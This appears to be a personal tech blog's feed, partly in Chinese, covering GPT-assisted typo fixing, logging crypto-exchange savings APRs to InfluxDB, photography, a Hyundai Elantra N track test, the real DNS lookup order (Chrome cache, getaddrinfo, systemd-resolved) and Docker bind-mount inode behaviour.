For example, in "X-Kong-Admin-Request-ID: ZuUfPfnxNn7D2OTU6Xi4zCnQkavzMUNM", OTU is part of an example string and not any meaningful sentence, so it should not be replaced. You need to answer 0.
"""
},
{
"role": "user",
"content": "{} \n {} change to {}"
}
],
"stream": False,
"model": "gpt-4",
"temperature": 0.5,
"presence_penalty": 0,
"frequency_penalty": 0,
"top_p": 1
}
After the Prompt is written, it’s time to pay for the OpenAI API Key and then connect it. Here, since it’s mainly a PoC, it’s done in Python, with key code as follows:
gpt_rate_response = client.chat.completions.create(
messages=formatted_message['messages'],
model=formatted_message['model'],
stream=formatted_message['stream'],
top_p=formatted_message['top_p'],
temperature=formatted_message['temperature'],
presence_penalty=formatted_message['presence_penalty'],
frequency_penalty=formatted_message['frequency_penalty']
)
gpt_rate = gpt_rate_response.choices[0].message.content
In the above code, gpt_rate is a number between 0~100, but it may be because my Prompt is not written very well, it will only output 0 or 100. At this time, we just need to discard the ones with a score of 0.
Here, after GPT marking, we just cleaned up the likely misjudged content in the “dirty Typo JSON” file and wrote it back. We call this GPT cleaned file “clean Typo JSON”.
Now we finally have the “clean Typo JSON”. We need a way to quickly complete the replacement of the file. For the consideration of human-machine engineering, we introduce the operation mode of: “two lines appear on the screen each time, the first line is the original line, the second line is the line after the replacement, users only need to press Y to confirm the replacement, press N to give up the replacement”. The interface is as follows:

Part of the code implementation is as follows:
def do_replace(file_path,line_num,typo,correction):
lines = []
with open(file_path, 'r', encoding='utf-8') as file:
lines = file.readlines()
lines[line_num-1] = lines[line_num-1].replace(typo, correction)
with open(file_path, 'w', encoding='utf-8') as file:
file.writelines(lines)
def get_ch():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
...
# Display the original and corrected lines, and give color to the corrected word
typo_word_index = orignal_line.find(typo_word)
print("Path: ", json_obj['path'])
print(f"{orignal_line[:typo_word_index]}{Back.RED}{orignal_line[typo_word_index:typo_word_index + len(typo_word)]}{Style.RESET_ALL}{orignal_line[typo_word_index + len(typo_word):]}")
print(f"{corrected_line.replace(json_obj['corrections'][0], Back.GREEN + json_obj['corrections'][0] + Style.RESET_ALL)}")
print("Do you want to continue? [y/n]: ")
ch = get_ch()
if ch == 'y':
do_replace(json_obj['path'], json_obj['line_num'], typo_word, json_obj['corrections'][0])
print("Replaced!")
elif ch == 'n':
continue
else:
print("Exiting...")
exit(0)
Of course, if there are enough typos, even if you can press Y/N quickly to replace, pressing the computer for 10+ minutes is no different from doing dog pushing.
Using the “static check -> GPT judgment -> quick manual processing” method proposed in this article, I completed the repair of most (GPT may have a small amount of false negative misjudgment) typos in the https://github.com/Kong/docs.konghq.com repository, and submitted a total of 3 PRs:
At the same time, I also practiced on the repositories of Cloudflare and Halo:
The changes involved 68 files scattered throughout the repository, with a total time (Clone repository + run script + manual submission) of about 30 minutes, commonly known as “Typo Immortal”.
Currently, the most time-consuming part of this process is undoubtedly the “quick manual processing”. Even though we already have the above TUI program that can quickly press Y/N, manual final judgment is still bottlenecked by the operator (me). So here might be the following idea:
Assume that after “static check -> GPT judgment”, there are a total of 100 typos, but because “GPT judgment” will still have some False Positive parts that are not judged, so there are 10 fake ones in our modification but not judged. So we have 90 real typos and 10 fake typos. Here, if we follow the above “quick manual processing”, we still have to manually press 100 times Y/N, which is quite laborious. It’s better to automatically complete the modification of the file after “GPT judgment” and then submit the PR. Then:
Because the maintainer of the repository should manually review it, they should notice that there are 10 false typos, at which point they have the following choices:
With this approach, only one person needs to manually review the changes in the end, and since the responsible maintainer themselves needs to manually review it once, this can distribute this bottlenecked work among the maintainers of various repositories, greatly increasing the efficiency of fixing typos, of course…

I wonder what the Kong maintainers thought when they saw so many file changes contained within these three PRs
In an era where AI/GPT is so prevalent, as a “developer” who doesn’t have much confidence in their abilities, doesn’t write code very well, and doesn’t chase trends very well, I found a seemingly quite practical AI scenario, besides using it for daily Q&A and Copilot. I hope this article can bring some inspiration to the readers~
]]>在文章中「交易所理财」是一个相对门槛低且较低风险的入门方式,本文将尝试进一步探索 OKX 和 Binance 两家提供的 USDT/USDC 理财。
本文仅尝试从技术层面分析 OKX 和 Binance 两家提供的 USDT/USDC 理财平均 APR 情况,不构成任何投资建议。
根据「关于进一步防范和处置虚拟货币交易炒作风险的通知」:
(一)虚拟货币不具有与法定货币等同的法律地位。比特币、以太币、泰达币等虚拟货币具有非货币当局发行、使用加密技术及分布式账户或类似技术、以数字化形式存在等主要特点,不具有法偿性,不应且不能作为货币在市场上流通使用。
(四)参与虚拟货币投资交易活动存在法律风险。任何法人、非法人组织和自然人投资虚拟货币及相关衍生品,违背公序良俗的,相关民事法律行为无效,由此引发的损失由其自行承担;涉嫌破坏金融秩序、危害金融安全的,由相关部门依法查处。
根据文章,Binance 的 USDT 理财属于「暗池撮合」,利息每分钟计算/结算一次,利率也会随时调整(目前我观测到的是按照分钟为维度)。
OKX 理财(简单赚币)属于「暗池拍卖」,利息每小时结算,也会每小时变化,此外…
收益你只能拿到 85%,所以标称的出借年化 39% 可能是 33.15%,因为:

这句话似乎在官网上是没有写的,只有点「收益明细」才能看到
这里展示的 10% 可能是包含了「平台奖励」,比如前 1000USDT 可以获得 10%,剩余部分也许是 2%
我们可以对比一下两个产品在 App 上提供的年化利率参考:

好了,以上你已经了解到了两个产品的特性了,作为一个合格的"投资者",假设你有着非常合规的出入金途径,且不考虑平台跑路或者倒闭的系统性风险,为了获得更好的收益,你应该如何选择呢?
Binance 的理财看上去很不错,利息每分钟结算一次,不过利率看数字而言对比 OKX 有点低,但是 OKX 这个利率抖动情况会不会导致平均值其实不如 Binance?
在大学时我们上过一个课程叫做「数据导入与预处理技术」,上面从 App 的数据来看似乎没法指导我们理解,Binance 只提供了 24hr 的利率变化,OKX 的图过于鬼畜没法看。
这个时候我们就需要考虑从额外的数据源(比如他们的官网)保存历史数据了,这里我使用 InfluxDB 保存数据,搓了个简单的 Python 脚本用 crontab 运行,部分代码如下:
def get_simple_earn_info():
url = "https://www.binance.com/bapi/earn/v1/friendly/finance-earn/simple/product/simpleEarnProducts"
r = requests.get(url)
return r.json()['data']['list']
def get_simple_earn_info_okx():
url = "https://www.okx.com/priapi/v1/earn/simple-earn/all-products?type=all"
r = requests.get(url)
return r.json()['data']['all']
if __name__ == '__main__':
client = InfluxDBClient(host=INFLUXDB_HOST, port=INFLUXDB_PORT,database=INFLUXDB_DB, username=INFLUXDB_USERNAME, password=INFLUXDB_PASSWORD)
# Fetch Binance simple Earn info
data = get_simple_earn_info()
for item in data:
asset = item['asset']
apr = item['productDetailList'][0]['marketApr']
if apr is not None:
apr = float(apr) * 100
else:
apr = float(0)
print(asset, apr)
json_body = [
{
"measurement": "simpleEarn",
"tags": {
"asset": asset,
},
"time": str(datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")),
"fields": {
"apr": apr,
}
}
]
client.write_points(json_body)
# Fetch OKX simple Earn info
...
在运行了一个月之后,我们可以在 Grafana 上可视化 Binance/OKX 所有理财的收益变化曲线,当然,为了帮助理解收益什么时候变化,我还保存了 BTC/ETH 的价格曲线,让我们来看看效果。
我们首先对比这些「理财」利率变化对应币价的关系,以 BTC/ETH 对比 Binance 的 USDT 理财为例。

可以看到每次在币价发生巨大变化的时候也会对应 APR 的变化,币价暴涨,APR 快速升高,币价下跌,APR 降低。
原因也很好理解,「你的理财,是存入资金,通过平台来放贷。借款者通过抵押的方式,向平台借款。」,「理财的收益来源于有人借钱」
本文的重点在于对比 Binance 的稳定曲线和 OKX 的抖动曲线实际收益差异,于是我们将 USDT/USDC 的 Binance 和 OKX APR 曲线合并在一张图上,我们看这个图,右边有图例,以 _OKX 结尾的为 OKX 理财 APR。

将两个图对齐了之后我们终于可以知道 OKX 的 APR 曲线有多么鬼畜了,不过这个不是重点,重点在于——如何对比这两个理财产品的实际收益率(比如月平均 APR,日平均 APR)?
最简单可靠的方法是两个平台存入同数量的 USDT,然后一个月后观测结果
InfluxDB 支持按照小时来 Group 数据,上面数据的查询语句为:
SELECT mean("apr") FROM "autogen"."simpleEarn" WHERE ("asset"::tag = 'USDT_OKX') AND $timeFilter GROUP BY time($__interval) fill(null)
GROUP BY time($__interval) 换一下,改为 GROUP BY time(24h) 获得每天数据最终查询语句变成这样
SELECT mean("apr") * 0.85 FROM "autogen"."simpleEarn" WHERE ("asset"::tag = 'USDT_OKX') AND $timeFilter GROUP BY time(24h) fill(null)
就可以看到这么一张图:

现在是不是就比较直观了,从图中我们可以看出,在 2024-03-20~2024-03-22 期间,OKX 和 Binance 实际日平均年化是差不多的,均在 9% 左右,而从 2024-03-23 开始 OKX 的理财收益就开始大于 Binance 了,直到今天。
但是真的就这么简单么?我们重新看一下 USDT_OKX 和 USDT(Binance) 的数据:

可以看到 APR 一直在 10%~某个值之间抖动,最低的时候就是稳定 10%,而 Binance 在 2024-03-22 开始已经稳定低于 10% 了。
如果这个时候你在 OKX 账户内观测的话,会发现这里的 10% 只是「平台奖励」的部分,如果你的资产超过奖励的线,比如 1000USDT 的话,超出部分的实际利率可能只有 2%。
所以上面的日平均 APR 图中 OKX 的曲线可能也只能作为一个参考,要获得非常真实的平均 APR 需要对 OKX 的数据做额外的处理,比如..通过 /api/v5/finance/savings/balance 接口获得真实已出借的资金利率?
以及,我们在知道了这样的数据之后,为了获得最大化利率,是否可以有一些其他的自动化动作?
本着授人以鱼不如授人以渔的精神,剩下的部分就交给读者来进行探索了。
]]>以下是一些简单的照片分享:
如无特殊说明,所有照片均使用 Sony A7M3 + TTArtisan 50MM F0.95 拍摄。

刚进入公园,就看到头上有预警机在来回飞。
根据一些奇怪的攻略,三号门附近是看樱花的圣地,进门后就看到许多人站在椅子/梯子上拍摄。

期间看到小孩的风筝挂到了树上,选好距离和构图之后便拍了一张。

虽然是冲着它的最大光圈买的,但是随着使用时间的变多,我越发觉得 TTArtisan 50MM F0.95 这个镜头最吸引我的点在于一种我称之为的——现场感,甚至光圈都不需要开到最大的 F0.95,只要保持在 F1.4~2.8 之间,镜头自带的美好的色调,光圈开大后边缘的部分暗角和色散,配合合适的景深,在观看照片时会有一种奇妙的身临其境的感觉,以下是一些样片。

每每看到这些照片,就能让我想起那个阳光明媚的下午。
传说摩天轮的每个盒子里都装满了幸福,当我们仰望摩天轮的时候就是在仰望幸福。
顾村公园的标志性建筑之一,自然不能免俗,拍了几张照片。



以上。
]]>起初他们说 Twitter 变味了,我没有说话
然后 Twitter 变成了 X,干掉了一些三方客户端,我没有说什么,因为我用 Twitter 只用 Web 端
然后许多人骂骂咧咧的跑到了 Fediverse,我没有说什么,因为我知道没有圈子大家还是会回到 Twitter 的
直到我自己想用 Twitter 的 API 做点简单的事情(验证用户是否 Follow 了某个用户),然后看了看 Twitter 的 API 限制(免费用户只能登录和发推),以及那非常糟糕的 API 文档的时候
已经没有人替我说话了(
于是我决定尽量将值得记录的东西发到自己博客上,毕竟,这地方,才看上去更加属于我自己。
由于是个假 Honda man,我对伊兰特 N 的关注一直很少,单看教主的视频只会给到我一种「哦,这个车看上去不错,但是和中国市场有什么关系」的感觉,直到看到玩车日志的团队在发布会前猜测售价在 30W 以内才再一次开始关注这个车似乎真的要进入中国市场。
然后便是看到伊兰特 N 在上赛给第一批车主交车,非第一批车主可以选择直接板车到楼下交车,辛烷值学习,韩国 PDK 等等说法,此外还看到上海天马赛车场内开了一个被称为 N Lounge 的地方,便约上好朋友——FD2 车主天天一起去看看。

实际时间线如下:
场地外侧全部是上了苏 C 牌照的伊兰特 N,顺便可以看到画面中路边开了另一个出入口,在这个出入口进入的车辆完全不需要登记(或许意味着以后车就可以免费丢在天马?
歪标本田和本田
场地内的伊兰特 N 和伊兰特 N TCR
注:2023 CTCC 年度车手杯冠军:Hyundai N车队 曹宏炜
展厅内还有模拟器,模拟器内是神力科莎 + 新版天马地图(不过稍微魔改了一下场地内的 Logo) + 伊兰特 N TCR
N 的店面比较难找,据说也是上海唯一一个 N 的店,如果你订了 N 只会有两种交车方式:店面交车和板车到你家楼下交车
街道试驾的路线就有些无聊了,从虹桥天地出来开到某个高架底下,一条长直线开到头然后掉头又是一条长直线,期间路口似乎有测速拍照。
从街道试驾的体验来看,我最深的印象就是伊兰特 N 的后轴似乎 Wheel Rate 很高,即使在中控上调节到「舒适」模式在低速过减速带的时候也感觉很跳,这种跳的感觉很像同速度开 FD2 用 HKS Hipermax GT4 避震前 9K 弹簧过减速带的跳跃感,当然,对比之下坐在前排的时候就会感觉前轴温和的多,感觉 Wheel Rate 不会超过 6K 的样子。
此外另一个让我印象很深的就是他的 e-LSD,可能因为 FF 的汽油车只开过全开放差速器的 FK7,GTI 8/7.5,以及不带 ESP,带了托森机械差速器的 FD2,这类出弯动态总是一种安心的内侧轮原地打滑和推头。
而这一次开到了带 e-LSD 的伊兰特 N 之后我算是非常直观的感觉到了什么叫做出弯给油 LSD 会拽着车往弯中走。
至少我的主观感觉是这样的,且中控上「e-LSD」的两个选项切换之后体感差异明显。当然,这个也有可能是某些人吹的很多的一体式驱动桥,以及,这个体感前软后硬的避震搭配。
这次的体验让我多少有点种草 LSD 了,虽然机械式的锁止率不够和磨片式的保养问题,以及锁止率的调教(需要拆下 LSD)一直是阻碍我给 FK7 上 LSD 的原因。
在街道上开起来伊兰特 N 是个不错的车,如果要做一个小的总结的话,可以直接参考我当时发的 Twitter 的几个:

这个座椅有多喜欢呢,试驾了伊兰特 N 之后我便高优先级把 FK7 上的原厂座椅换成了两个 Recaro SR7。
如果说伊兰特 N 能把外观做的更加好看(主观),且带上 ACC 的话,在这个价位内应该是很不错的一个选择。
伊兰特 N 的赛道试驾应该是我见到过的厂商中最有”诚意“的赛道试驾,或者说是最舍得的赛道试驾,体现在如下方面:
例行合同,可以作为参考
试驾当天是阴天,且 N Lounge 的安排比较宽松,当天下午那一个小时的场地场上只有三辆车,分别是:
试驾流程如下,整个试驾在一节(25 分钟)赛道日中:
总体试驾体验可以用非常满意来形容,常年开 MT 的我几乎是第一次在赛道上开一个不需要手动换档的车,所以开起来也非常的顺滑和放得开。
由于上面讲到的这个车的弹簧设定,会让这个车开起来非常「平衡」——前轴比较软+LSD 可以有非常好的牵引力,后轴体感比较大的 Wheel Rate 可以让这个车开起来一改 FF 的推头的感觉,我开的时候车辆状态为 N 模式,ESP 半关。
这种「平衡」的感觉就是——如果之前你有开一个比较推头推头且没有啥 LSD 加持的前驱车(比如 FK7 ),那么以日常的驾驶习惯容易把后轴给甩起来。
上场后由于胎温还没热起来,T7 带住了点刹车入弯来了个大角度滑移
然后在之后的某一圈的 T9 由于压了点水带住了刹车进弯,又来了反打
由于在公开道路上我也经常把 FK7 开出这种动态,所以这里的反打+给油救车基本就是肌肉记忆
变速箱方面,个人感觉倒是完全没有车评人所谓的「韩国 PDK」的感觉,从纯粹(绝对)降档速度而言,体感和 GTI 级别的车差不多,但是赛道驾驶从降档积极性而言,那确实是完全没问题,可能因为不敢全力 push,我自己的赛道驾驶下来拨片使用率 0%。

郑上观 T12 故意压水后的大角度滑移
由于试驾规定不能架设 GoPro 等计时设备,估计是怕其他人把这个「赛道体验」试驾变成了「免费练车场地」,但还是非常感谢郑上观帮我一直手持 GoPro 拍摄,利用 GoPro 自带的 10Hz GPS + Racechrono 我可以看到我自己在场地上的成绩。
我们放几个参考圈速,仅限天马赛车场:
单纯看圈速的话,落地价 29W 的伊兰特 N 可以比 33W 落地的 BRZ 上限高接近 4s,然后花了 4W 改装,总价格 20W 的 FK7 又似乎可以和 BRZ 全原厂状态差不多。
当然,一个 FF 高性能轿车,一个 FR 跑车本身也不能单从圈速来进行衡量,这两个车驾驶体验天差地别。
做一个小的总结就是:非常感谢现代能带来这么一款车且还能包下天马的一块区域,且给大家在赛道上试驾他们的新车,也感觉很幸运自己正好在上海且还有个热爱驾驶的好朋友天天能和我一起去体验。
同时我也在思考,在国内赛事投入更多的东风本田有没有可能在未来某一天也在天马包下一块区域让大家来体验 Type-R 的赛道驾驶呢?或者说现代的这个活动是否真的可以给他们带来销量的增加么?如果他们发现这个活动本身也只是他们的一厢情愿,消费者并不为此买帐的话,他们又会如何看待自己在国内的这些投入?
从国内赛事的观众数量(即使是 CTCC)和大家关注的情况来看,在国内的赛车文化确实不浓,和教练交流下来也有类似的体验,如果在国内想要跑比赛基本都是自费,那要培养一个职业车手从小开始就是一场赌博,从卡丁车到初级方程式,每年至少会投入 50W 人民币,赌赢了,成为知名冠军车手获得丰厚收入,赌输了…后果大家也能看得到。
近些年来大家对「赛车文化」的关注可能主要来源于一些车手开启了自己的自媒体,例如从谢欣哲的角度来看,可能自媒体反而可以带来更高的收入,也侧面反应了国内赛车文化的状态。
最近看到一个知乎回答感觉挺有意思,也认同他的部分观点( https://www.zhihu.com/question/643036972/answer/3389200905),部分摘录如下:
调教是最花时间和成本的,只不过大家没有概念而已。如果说搞一套底盘,物料50块钱。调教要花掉50甚至更多。之所以国际大厂调教信手拈来,那是因为别人有几十年的积累。
30万级别必须全铝悬挂,空气弹簧,CDC,这就是无效加班,因为这些东西加起来实际体验还不如国际大厂一套麦弗逊,螺旋弹簧减震加油改电底盘调教出的产品。不是说否定加班的无用,而是否定无用的加班。不是否定材料升级的合理性而是否定不合理的材料堆砌。
当别人晚上十点路过你们公司楼下看到整层灯火通明,就好比你看现在的新能源造车,梦幻般的配置和价格。你们都会感叹句,想必整个行业非常繁荣兴旺吧。只有正在苦逼无效加班,被强制裹挟着消耗生命的你知道。其实公司在走下坡路。因为你知道问题一直都在。现在只不过是愈演愈烈而已。
也许未来某一天,主流的国人购车思路和评价指标可以从
「车大(偏好 SUV),堆料(所谓的智能驾驶 X 个传感器,OTA,车内冰箱空调),过分追求车内精致(Nappa 皮,xx 音箱)」
转变为
「车辆操控好,避震调教和 ESP 标定合理且不突兀,且有更加多多元的车辆购买偏好」
呢?
或者,可能这只是一个幻想?
Never just drive!
]]>而所谓的”笔试“和你问我答的面试感觉只应该出现需要低成本大规模筛选面试者(比如校招)或者某些奇怪的外包公司(比如 *为 的外包或者一些银行等国企的开发岗位似乎特别喜欢搞这种奇怪的”笔试“,牛客网为此提供了平台可谓“功不可没”)。
作为喜欢背八股文面试题的朋友肯定不陌生,有个非常”经典“的面试题叫做「输入 URL 到页面展示到底发生了什么」,你看,随便搜索一下就能看到这种文章:
他们占据了 Google 搜索的前列,也非常符合喜欢背题的人快速“预习”需求:

我们来看看这个「看完吊打面试官」的文章,部分内容如下:
1、请求一旦发起,浏览器首先要做的事情就是解析这个域名,一般来说,浏览器会首先查看本地硬盘的 hosts 文件,看看其中有没有和这个域名对应的规则,如果有的话就直接使用 hosts 文件里面的 ip 地址。
2、如果在本地的 hosts 文件没有能够找到对应的 ip 地址,浏览器会发出一个 DNS请求到本地DNS服务器 。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。
3、查询你输入的网址的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果,此过程是递归的方式进行查询。如果没有,本地DNS服务器还要向DNS根服务器进行查询。
作为一个没有接触过 DNS 的萌新,在遇到面试官问道这个问题,可能面试官在说「能不能解释一下浏览器输入了…」的时候你已经飞快的通过大脑的 KV 存储,想到已经该如何输出背下来的结论了,等面试官话音刚落,你变开始了流式输出:「浏览器输出了 URL 按下回车之后首先浏览器会通过查询本地的 hosts 文件,然后 hosts 文件中没有发现记录,就请求 DNS 服务器,然后一级级往上查询直到根 DNS 服务器…」
这个问题我觉得本身是个比较有意思的问题,因为可以考察面试者对于整个流程的了解程度,但是通过这样背诵而来的回答这样真的能「看完吊打面试官」么?
要知道我们电脑,浏览器的发展日新月异,但是这个问题作为一个「经典面试题」似乎从来都是上面的回答,如果作为面试官,听到这样的回答之后会不会第一反应想到几个问题,也是本文想要讨论的点,如下:
由于我不卖课,也不推广一些什么(也许是)自己写的「Java 精品合集」,如果读者对上面讨论的问题感兴趣,不妨在这里停留一下并思考一下上面我提出的问题,或者想想看这里面还有没有别的点其实也是可能和目前的结构不一样的。
为了帮助大家在此停顿,我在这里插播一个图片~

我们先来说说第一个问题——现代的浏览器本身会不会缓存 DNS 记录?
答案是会的,以 Chrome 为例,我们需要先:
chrome://net-export/ 然后开始录制一段时间的记录本来这个操作可以在
chrome://net-internals/#dns一步完成的,不知道为啥 Chrome 搞成了上面两步,还引入了一个外部网站

从上面的截图我们可以观测到两个信息:
这个缓存在 Chrome 的官方文档中被称为 built-in resolver 或者 async resolver, 它的文档可以在 Chrome Host Resolution 这里看到,当满足以下所有触发条件的时候便会使用:
DnsClient 已通过 net::HostResolverManager::SetInsecureDnsClientEnabled(true) 启用不安全请求,或安全 DNS 模式不是 net::SecureDnsMode::OFF。HOST_RESOLVER_CANONNAME 标志的地址查询。以上内容为 ChatGPT 翻译
至于为什么这个缓存最大是缓存 1000 条记录,我们只能读一下代码了,在 https://chromium.googlesource.com/chromium/src/+/main/net/dns/host_cache.cc#1185 这里我们可以看到如下定义:
// static
std::unique_ptr<HostCache> HostCache::CreateDefaultCache() {
#if defined(ENABLE_BUILT_IN_DNS)
const size_t kDefaultMaxEntries = 1000;
#else
const size_t kDefaultMaxEntries = 100;
#endif
return std::make_unique<HostCache>(kDefaultMaxEntries);
}
对于这个开关 ENABLE_BUILT_IN_DNS 相关的代码可以在这里看到:
// Enables or disables the built-in asynchronous DnsClient. If enabled, by
// default (when no |ResolveHostParameters::source| is specified), the
// DnsClient will be used for resolves and, in case of failure, resolution
// will fallback to the system resolver (in tests, HostResolverProc from
// HostResolverSystemTask::Params). If the DnsClient is not pre-configured
// with a valid DnsConfig, a new config is fetched from NetworkChangeNotifier.
//
// Setting to |true| has no effect if |ENABLE_BUILT_IN_DNS| not defined.
virtual void SetInsecureDnsClientEnabled(bool enabled,
bool additional_dns_types_enabled);
不过至于为什么 kDefaultMaxEntries 这里定义为了 1000 ,目前我还没找到对应的出处。
你认为浏览器可以直接读取系统的 hosts 文件来使用么?当然不是,我们继续看 Chrome 的文档:
Usually called the “system resolver” or sometimes the “proc resolver” (because it was historically always implemented using net::HostResolverProc). Results are queried from the system or OS using the getaddrinfo() OS API call. This source is only capable of address (A and AAAA) resolves but will also query for canonname info if the request includes the HOST_RESOLVER_CANONNAME flag. The system will query from its own internal cache, HOSTS files, DNS, and sometimes mDNS, depending on the capabilities of the system.
可以知道操作系统提供了一个叫做 getaddrinfo() 的系统 API 供浏览器使用,所以浏览器需要发送一个 DNS 请求也只是和这个接口交互而已,浏览器本身不会自己发送任何奇怪的请求甚至直接读取一个系统文件。
但是这里其实有个问题,一般来说根据常规的「面试题面经」我们知道 DNS 请求顺序是:hosts 文件(未命中) -> DHCP 下发的称为本地 DNS 服务器(未命中) -> 上游 DNS 服务器(未命中) -> 根 DNS 服务器。
但是在现代电脑中一般有这么个东西,比如 systemd-resolved。
为什么我会关注到这个呢,因为它在我电脑上最近启动不太正常。
我们看 systemd-resolved - ArchWiki 可以知道它是一个 systemd 提供的服务,会监听在 D-Bus 和 127.0.0.53 上对系统上的应用提供服务,且对于 systemd 的系统来说是默认安装并启用的:
systemd-resolved is a systemd service that provides network name resolution to local applications via a D-Bus interface, the resolve NSS service (nss-resolve(8)), and a local DNS stub listener on 127.0.0.53. See systemd-resolved(8) for the usage.
systemd-resolved is a part of the systemd package that is installed by default.
举个例子,虽然我电脑所处的 DHCP 环境下下发的是 192.168.33.50 和 1.1.1.1 这两个 DNS 服务器:
nmcli device show wlp3s0 | grep IP4
IP4.ADDRESS[1]: 192.168.33.242/24
IP4.GATEWAY: 192.168.33.50
IP4.ROUTE[1]: dst = 192.168.33.0/24, nh = 0.0.0.0, mt = 600
IP4.ROUTE[2]: dst = 0.0.0.0/0, nh = 192.168.33.50, mt = 600
IP4.DNS[1]: 192.168.33.50
IP4.DNS[2]: 1.1.1.1
但是我们实际用 dig 发起请求,或者看 /etc/resolv.conf 就会发现其实是 127.0.0.53:
nameserver 127.0.0.53
options edns0 trust-ad
search .
dig 请求结果如下:
dig docs.pingcap.com
...
;; ANSWER SECTION:
docs.pingcap.com. 34 IN A 106.75.96.118 [北京市 优刻得信息科技有限公司 (UCloud) BGP 数据中心]
;; Query time: 20 msec
;; SERVER: 127.0.0.53 [局域网 IP]#53(127.0.0.53 [局域网 IP]) (UDP)
...
Windows 和 Mac 上也有类似的机制,分别叫做 DNS Client Service (DNSCache) 和 mDNSResponder
也就是说在相对比较现代的电脑上,我们应用中的 DNS 请求也并没有直接发送到系统获得的 DNS 服务器上,而是发到了另一个系统级别的缓存中了。
所以到这里,我们可以修正一下上面的回答,实际的请求顺序是:浏览器 DNS 缓存(未命中) -> 浏览器调用 getaddrinfo() 查询数据,其中,getaddrinfo() 的查询背后有多个缓存,顺序如下文所述。
getaddrinfo() 是按照什么顺序查询的由于上面有 systemd-resolved 的存在,我们就有点疑惑了,那这个 getaddrinfo() 函数又是根据什么顺序来查询的 DNS 呢?
我们从 What does getaddrinfo do? 文章中可以知道 getaddrinfo() 在 Linux 系统上会阅读 /etc/nsswitch.conf 来决定查询顺序,比如在我的电脑上这个文件中的关键信息是:
# In order of likelihood of use to accelerate lookup.
passwd: files sss systemd
shadow: files
group: files sss systemd
hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns
services: files sss
netgroup: files sss
automount: files sss
从 hosts 行可以看到顺序是 files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns,翻译一下就是:
files: 尝试在 /etc/hosts 文件中查找主机信息。myhostname: 尝试通过系统的主机名服务来解析主机名。mdns4_minimal: 尝试通过 mDNS(Multicast DNS)来解析主机名。[NOTFOUND=return]: 如果前面的查找未找到主机信息,立即返回而不进行后续查找。resolve: 尝试通过 systemd 的解析服务来解析主机名。[!UNAVAIL=return]: 如果 systemd 解析服务不可用,立即返回而不进行后续查找。dns: 最后尝试通过传统的 DNS 解析服务来解析主机名。到这里,我们可以进一步获得更加清晰的结论,以我的电脑默认配置为例,实际的 DNS 查询顺序是:
getaddrinfo() 查询数据,其中 getaddrinfo() 会根据如下顺序查询
/etc/hosts 文件systemd-resolved 查询在 Windows 系统上,这个 nssswitch 的功能被一个称为 Name Resolution Policy Table 的东西替代,可以参考文档 The NRPT | Microsoft Learn
如果最后一步通过 DHCP 下发的 DNS 查询也没有查到结果的话,那么就是由那个 DNS 服务器负责向自己的上游查询记录,也就是所谓的递归查询,并返回查询结果了。
你看,「输入 URL 到页面展示到底发生了什么」确实是一系列有趣提问的开端,我们其实只要稍微思考一下就会发现内部有许多我们想不到的细节,面试官可以通过一步步引导面试者并提出相关的问题来判断面试者对于这一系列问题的思考究竟是背诵的答案还是有自己独特的理解。
当然,由于这个问题过于常见,个人感觉作为面试官而言如果不是对此有非常深入的研究的话或许还是换个角度切入比较友好,减少双方背题/答案的时间,增加面试的乐趣(也许),比如——「在你目前面试所用的电脑的环境下,你浏览器上输入了 google.com 之后 DNS 请求是发往了哪个地址?」以及「如果那个地址没有返回正确的 IP 的话,一般如何解决?」。
此时有个小问题可以让读者思考:我们知道 UTC 是大家公认的零时区,往左右各 + 12 个时区,比如中国在 UTC+8,那 +12 再往东就是 -12 了,也就是说在那个边界上大家的时间是差了接近两天?

言归正传,我们从一个实际的场景开始这次文章的探索,在一个服务需求中,我们有两个单独的服务:
tx.db,这个服务是一个单一的 Binary ,通过 crontab 每分钟定时运行Web 服务容器的 docker-compose.yml 文件内容如下:
version: '3'
services:
indexer_api:
image: ghcr.io/n0vad3v/indexer_api:latest
restart: always
volumes:
- ./tx.db:/tx.db
此时我们引出四个问题:
tx.db 文件)给同步到服务器上
tx.db 删了,然后 rsync 一个 tx.db 上去,那么此时容器内的 Web 服务是否可以同步获取到最新数据?tx.db 文件而是只是 rsync,此时容器内的 Web 服务是否可以同步获取到最新数据?tx.db 作为 volume,而是把这个文件放到一个叫 data 的目录里面,然后把这个目录挂载到容器里面,此时容器内的 Web 服务是否可以在 /data/tx.db 下同步获取到最新数据?以上操作均不重启容器
此时请读者思考一下,不要急着向下翻,然后我在这里塞个图作为分割线~

我们来试试看,为了方便观测,我们额外在容器的 volumes: 下加入一个 - ./1.txt:/1.txt 的文本文件,内容是 1 ,容器启动后我们在外部将 1.txt 的文件内容改为 2 ,可以看到容器内是同步的。
# cat 1.txt
1
# cat 1.txt
2
此时我们将外面的 1.txt 文件删除,会发现容器内这个文件还在,并且内容还是 2。
我们在外面重新创建一个 1.txt 并将文件内容改为 3,会发现容器内查看文件内容依然是 2。
对于目录而言,我们在 data 目录下放了若干个文件,然后在容器外对文件进行修改,删除,重新创建,发现在容器内的 /data 目录下,这些文件的操作是同步的。
所以便回答了上面三个问题,分别是:
但是为什么?
我们第一反应可以想到 Inode 的变化,以文件为例,测试中我们发现在测试开始前和修改文件内容时,容器内外的 Inode 保持一致:
容器内:
# ls -li 1.txt
8949736 -rw-r--r--. 1 1000 1000 2 Jan 1 07:51 1.txt
容器外:
ls -li 1.txt
8949736 -rw-r--r--. 1 nova nova 2 Jan 1 15:51 1.txt
但是一旦文件被删除重建或者被 rsync 覆盖了之后, 容器外的 Inode 就变了,变成:
ls -li 1.txt
8949625 -rw-r--r--. 1 nova nova 2 Jan 1 15:54 1.txt
而此时容器内还是保持原有的 Inode 的信息,所以这里我们的猜想就缩小到了:为什么 Inode 变了之后容器内就不能同步更新了?
对于目录而言,
data目录内部文件的变更没有导致这个目录本身 Inode 的变化,所以容器内外目录内部的文件一直是保持同步的。
通过搜索我们看到这么个帖子: File mount does not update with changes from host · Issue #15793 · moby/moby · GitHub ,其中 cpuguy83 的解释如下:
